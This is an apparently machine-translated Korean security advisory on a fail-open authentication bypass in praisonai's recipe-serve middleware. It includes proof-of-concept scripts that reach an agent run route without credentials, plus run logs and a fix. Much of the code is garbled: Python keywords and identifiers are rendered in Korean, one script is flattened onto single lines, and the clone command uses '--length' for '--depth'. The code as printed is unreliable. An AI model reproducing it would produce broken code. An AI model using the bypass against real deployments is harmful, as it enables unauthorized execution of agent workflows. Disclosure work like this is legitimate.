praisonai: 비밀이 설정되지 않으면 레시피 제공 인증 미들웨어가 자동으로 비활성화됩니다.
recipe Serve 인증 미들웨어는 비밀이 설정되지 않은 경우 자동으로 비활성화됩니다.연구원: Kai Aizen — SnailSploit(@SnailSploit), 적대적 및 공격적 보안 연구 대상: https://github.com/MervinPraison/PraisonAI
패키지: PyPI의 praisonai
테스트 버전: 4.6.48.
파일: praisonai/recipe/serve.py(sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).
praisonai/recipe/serve.py:312-410은 두 개의 인증 미들웨어(APIKeyAuthMiddleware, JWTAuthMiddleware)를 정의합니다. 둘 다 디스패치 상단에 동일한 "비밀이 설정 해제된 경우 오류 시 열기" 분기가 포함되어 있습니다.
``파이썬 비동기 def 디스패치(self, request, call_next): request.url.path == "/health"인 경우: 반환 대기 call_next(요청) 예상_키 = api_key 또는 os.environ.get("PRAISONAI_API_KEY") 예상되지 않은 경우_key: # 키가 구성되지 않았으며 요청을 허용합니다. 반환 대기 call_next(요청) ...
``파이썬
비동기 def 디스패치(self, request, call_next):
request.url.path == "/health"인 경우:
반환 대기 call_next(요청)
비밀 = jwt_secret 또는 os.environ.get("PRAISONAI_JWT_SECRET")
비밀이 아닌 경우:
반환 대기 call_next(요청)
...
현실적인 잘못된 배포:
auth: api-key(또는 auth: jwt)를 설정하고 해당 행만으로 인증을 활성화할 것으로 예상합니다.api_key: / jwt_secret: 값을 설정하지 않습니다. 그리고미들웨어는 모든 요청을 인증된 것으로 자동으로 처리하고 이를 레시피 실행 경로로 전달합니다.
인증이 없는 praisonai 작업 API(별도의 결과)와 결합하여 "이것을 잠그려면 auth: api-key를 설정해야 합니다"에 주의를 기울인 운영자는 비밀도 기억하지 않는 한 여전히 레시피 제공 표면에서 인증을 얻지 못합니다.
레시피 YAML에서 `auth: api-key`를 설정한 후 예상되는 동작:
"이제 내 레시피 엔드포인트에는 X-API-Key 헤더가 필요합니다."
실제 동작(serve.py:325-333):
- 미들웨어는 `expected_key = api_key 또는
os.environ.get("PRAISONAI_API_KEY")`
- `expected_key`가 None인 경우(YAML이나 env가 모두 제공되지 않음)
하나) 미들웨어는 아무것도 기록하지 않고 요청을 전달합니다.
- 운영자의 레시피 경로는 요청을 마치 요청을 수락하는 것처럼 받아들입니다.
인증됨. request.state.user가 설정되지 않았습니다.
영향:
미들웨어의 문서화된 작업은 "API 키 유효성 검사"입니다.
구성된 값에 대해". 구성된 값은 None입니다.
이 경우는 미들웨어가 실패하여 닫혀야 하는 경우입니다.
on — 운영자가 인증을 원한다는 신호를 보냈습니다. 실패 오픈
문서화된 인증을 자동으로 런타임으로 전환합니다.
작동하지 않습니다.
poc/poc.py:
praisonai.recipe.serve 모듈(sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23)을 가져옵니다.serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None)을 호출하고 반환된 미들웨어를 인스턴스화합니다./runs(레시피 실행 경로)에 대한 Starlette 요청을 빌드합니다. X-API-Key도 없고 Authorization도 없습니다.await middleware.dispatch(request, fake_call_next)는 가짜 call_next에서 센티넬 'REACHED-DOWNSTREAM (path=/runs)'를 반환합니다. 이는 미들웨어가 인증 없이 요청을 통과했음을 증명합니다.auth_type='jwt'에 대한 테스트를 반복합니다. JWT 경로에서 동일한 우회를 수행합니다.실행 로그(poc/run-log.txt) 요약:
[2] auth_type='api-key', api_key 없음 / PRAISONAI_API_KEY 환경 없음
middleware.dispatch -> 'REACHED-DOWNSTREAM (경로=/runs)'
[3] auth_type='jwt', jwt_secret 없음 / PRAISONAI_JWT_SECRET 환경 없음
middleware.dispatch -> 'REACHED-DOWNSTREAM (경로=/runs)'
APIKeyAuthMiddleware는 API 키 없이 요청을 허용했습니다.
JWTAuthMiddleware는 Bearer 토큰 없이 요청을 허용했습니다.
[4] grep '# 구성된 키가 없습니다. 요청을 허용합니다.' -> line 333
평결: 취약함
0번 출구
레시피 제공 표면은 'praisonai/jobs/server.py'와 동일한 실행 상태이지만 별도로 구성/별도로 도달하는 에이전트 워크플로를 실행합니다. 이 표면에 대한 인증되지 않은 액세스로 인해 다음이 발생합니다.
praisonai/recipe/serve.py:325-333 — APIKeyAuthMiddleware.dispatch 자동 우회 분기.praisonai/recipe/serve.py:352-355 — JWTAuthMiddleware.dispatch 자동 우회 분기.praisonai/recipe/serve.py:688-694 — 호출 사이트:
``파이썬
auth_type = config.get("인증")
auth_type 및 auth_type != "none"인 경우:
auth_middleware = create_auth_middleware(
인증 유형,
api_key=config.get("api_key"),
jwt_secret=config.get("jwt_secret"),
)
운영자가 "인증을 원합니다"라는 신호를 보내면 자동으로 성능을 저하시키는 대신 해당 비밀 없이 시작을 거부합니다.
``파이썬
def create_auth_middleware(auth_type, api_key=없음, jwt_secret=없음):
auth_type == 'api-key'인 경우:
예상_키 = api_key 또는 os.environ.get("PRAISONAI_API_KEY")
예상되지 않은 경우_key:
SystemExit(
"auth_type='api-key'를 요청했지만 API 키가 없습니다."
"구성되었습니다. 레시피에 api_key:를 설정하거나 "
"YAML 또는 PRAISONAI_API_KEY 내보내기. 거부"
"자동으로 비활성화된 인증 미들웨어로 시작하세요."
)
...
elif auth_type == 'jwt':
비밀 = jwt_secret 또는 os.environ.get("PRAISONAI_JWT_SECRET")
비밀이 아닌 경우:
SystemExit(
"auth_type='jwt'가 요청되었지만 JWT 비밀번호가 없습니다."
"구성되었습니다. 레시피에 jwt_secret:을 설정하거나 "
"YAML을 사용하거나 PRAISONAI_JWT_SECRET을 내보냅니다. 거부"
"자동으로 비활성화된 인증 미들웨어로 시작하세요."
)
...
이는 형제 `praisonai.gateway` 서버가 `praisonai/gateway/auth.py:48-54`의 `assert_external_bind_safe`에 적용하는 것과 동일한 패턴입니다. 인증 토큰 없이 외부 바인드 시작을 거부합니다. 레시피 제공 표면도 동일한 작업을 수행해야 합니다.
## 재현 단계
1. 대상을 복제합니다: `git clone --length 1 https://github.com/MervinPraison/PraisonAI`
2. 복제된 소스에 대해 개념 증명(`poc.py`)을 실행합니다.
3. 아래 *검증된 결과*에 표시된 결과를 관찰합니다.
## 개념 증명
`poc.py`
``파이썬
"""
PoC: praisonai 4.6.48 `praisonai 레시피 서브` 구성
레시피 YAML의 `auth:` 필드를 통한 인증. 설정
`auth: api-key` 또는 `auth: jwt`는 APIKeyAuthMiddleware를 설치하거나
FastAPI 앱의 JWTAuthMiddleware — 및 운영자의 기대
이제 해당 엔드포인트에는 유효한 API 키/전달자 JWT가 필요하다는 것입니다.
실제로 두 미들웨어 모두 자동으로 조기 반환되는 기능을 포함하고 있습니다.
해당 비밀이 인증되지 않은 경우 인증을 우회합니다.
구성됨(레시피 YAML이나
PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET 환경 변수).
"""
hashlib 가져오기
수입 검사
수입 OS
수입 시스템
def main() -> int:
인쇄('=' * 72)
print('praisonai 4.6.48 — 레시피 제공 인증 미들웨어 자동 우회')
인쇄('=' * 72)
# 현실적인 배포: 연산자는 YAML에서 `auth: api-key`를 설정하지만
# api_key / env var를 설정하는 것을 잊어버렸습니다.
('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET')의 env_var에 대해:
os.environ의 env_var인 경우:
델 os.environ[env_var]
praisonai.recipe 가져오기에서 Serve_mod로 사용됨
src=inspect.getsourcefile(serve_mod)
open(src, 'rb')를 f로 사용:
원시 = f.read()
샤 = hashlib.sha256(raw).hexdigest()
인쇄()
print(f'[1] Serve.py 경로 : {src}')
print(f' sha256 : {sha}')
starlette.requests 가져오기 요청에서
create_auth_middleware=serve_mod.create_auth_middleware
비동기 def fake_call_next(요청):
f"REACHED-DOWNSTREAM (경로={request.url.path})"를 반환합니다.
비동기 def 드라이버(auth_type: str, headers=None):
범위 = {
'유형': 'http', '방법': 'GET', '경로': '/runs',
'headers': 헤더 또는 [], 'query_string': b'', 'scheme': 'http',
'서버': ('127.0.0.1', 8000), '앱': 없음, 'root_path': '',
}
요청 = 요청(범위, 수신=람다: 없음)
mw_cls = create_auth_middleware(auth_type, api_key=없음, jwt_secret=없음)
mw_cls가 없음인 경우:
'미들웨어 가져오기 실패'를 반환합니다.
인스턴스 = mw_cls(app=None)
반환 인스턴스.디스패치(요청, fake_call_next)를 기다립니다.
비동기 가져오기
인쇄()
print("[2] auth_type='api-key', api_key 없음 / PRAISONAI_API_KEY 환경 없음")
result_apikey = asyncio.run(driver('api-key'))
print(f" middleware.dispatch -> {result_apikey!r}")
인쇄()
print("[3] auth_type='jwt', jwt_secret 없음 / PRAISONAI_JWT_SECRET 환경 없음")
result_jwt = asyncio.run(드라이버('jwt'))
print(f" middleware.dispatch -> {result_jwt!r}")
취약함 = 거짓
isinstance(result_apikey, str) 및 result_apikey의 'REACHED-DOWNSTREAM'인 경우:
취약하다 = 사실
print(' APIKeyAuthMiddleware는 API 키 없이 요청을 허용했습니다.')
isinstance(result_jwt, str) 및 result_jwt의 'REACHED-DOWNSTREAM'인 경우:
취약하다 = 사실
print(' JWTAuthMiddleware는 Bearer 토큰 없이 요청을 허용했습니다.')
# 우회가 코드 경로에 있는지 정적 검사합니다.
텍스트 = raw.decode('utf-8', 오류='교체')
needle_api = '# 키가 구성되지 않음, 요청 허용'
apikey_line = 다음(
(i의 경우 i, enumerate(text.splitlines(), 1)의 경우 needle_api가 l의 경우),
없음,
)
인쇄()
print('[4] 정적 교차 검사 — 코드 경로에서 분기 우회')
print(f" grep '{needle_api}' -> 라인 {apikey_line}")
취약하지 않은 경우:
print('예기치 않은 — 디스패치가 우회 결과를 반환하지 않았습니다.')
1을 반환
인쇄()
print('취약함: praisonai 4.6.48 `레시피 서브` AuthMiddleware 클래스')
print(' 연산자가 auth_type을 설정하면 둘 다 자동으로 인증을 우회합니다.')
print(' 그러나 해당 비밀을 잊어버렸습니다 — 인증되지 않은 액세스')
print(' 레시피 실행 엔드포인트로 이동합니다.')
print('판정: 취약함')
0을 반환
__name__ == '__main__'인 경우:
sys.exit(메인())
이는 재생산이 아닌 수정되지 않은 업스트림 코드를 구동합니다.
``파이썬 sys, 유형, os, importlib.util 가져오기 BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK) ["praisonai","praisonai.recipe"]의 p에 대해: m=types.ModuleType(p); m.path=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m spec=importlib.util.spec_from_file_location("praisonai.recipe.serve", BK+"/praisonai/recipe/serve.py") Serve=importlib.util.module_from_spec(spec); Serve.package="praisonai.recipe"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve) print("[*] REAL praisonai recipe/serve.py를 로드했습니다.") os.environ.pop("PRAISONAI_API_KEY", None) # 운영자가 내보내는 것을 잊어버렸습니다.
starlette.applications에서 Starlette 가져오기 starlette.routing에서 가져오기 경로 starlette.responses에서 PlainTextResponse 가져오기 starlette.testclient에서 TestClient 가져오기 def make_app(mw): app=Starlette(routes=[Route("/run", 람다 r: PlainTextResponse("AGENT EXECUTED"),method=["POST"])]) app.add_middleware(mw); TestClient(앱) 반환
auth: api-key를 설정했지만 api_key + env를 잊어버렸습니다. -> REAL 공장에서는 자동으로 우회하는 미들웨어를 반환합니다.MW_bypass = Serve.create_auth_middleware("api-key", api_key=None) # REAL 팩토리 r = make_app(MW_bypass).post("/run") print(f"[+] auth='api-key', 구성된 키 없음, 헤더 없음 -> HTTP {r.status_code} body={r.text!r}")
MW_enforced = Serve.create_auth_middleware("api-key", api_key="real-secret") r2 = make_app(MW_enforced).post("/run") print(f"[*] auth='api-key', 키 구성, 헤더 없음 -> HTTP {r2.status_code} (올바르게 거부됨)")
r.text 및 r2.status_code==401에서 r.status_code==200 및 "AGENT EXECUTED"를 주장합니다. print("[+] 실제 praisonai 저장소에 대해 확인됨: APIKeyAuthMiddleware는 키가 구성되지 않은 경우 자동으로 인증을 우회합니다. -> 인증되지 않은 에이전트 경로에 도달할 수 있습니다.")
## 검증된 결과
이 PoC는 라이브 업스트림 코드에 대해 실행되었습니다. 캡처된 출력:
[] REAL praisonai recipe/serve.py 로드됨 [+] 인증='api-key', 구성된 키 없음, 헤더 없음 -> HTTP 200 본문='에이전트 실행' [] auth='api-key', 키 구성됨, 헤더 없음 -> HTTP 401(올바르게 거부됨) [+] 실제 praisonai 저장소에 대해 확인됨: APIKeyAuthMiddleware는 키가 구성되지 않은 경우 자동으로 인증을 우회합니다. -> 인증되지 않은 에이전트 경로에 연결할 수 있습니다.
## 크레딧
카이 아이젠 — SnailSploit(@SnailSploit). 적대적 및 공격적 보안 연구.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 98.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 98.00 |
VPI 공식 vpi-v1 기준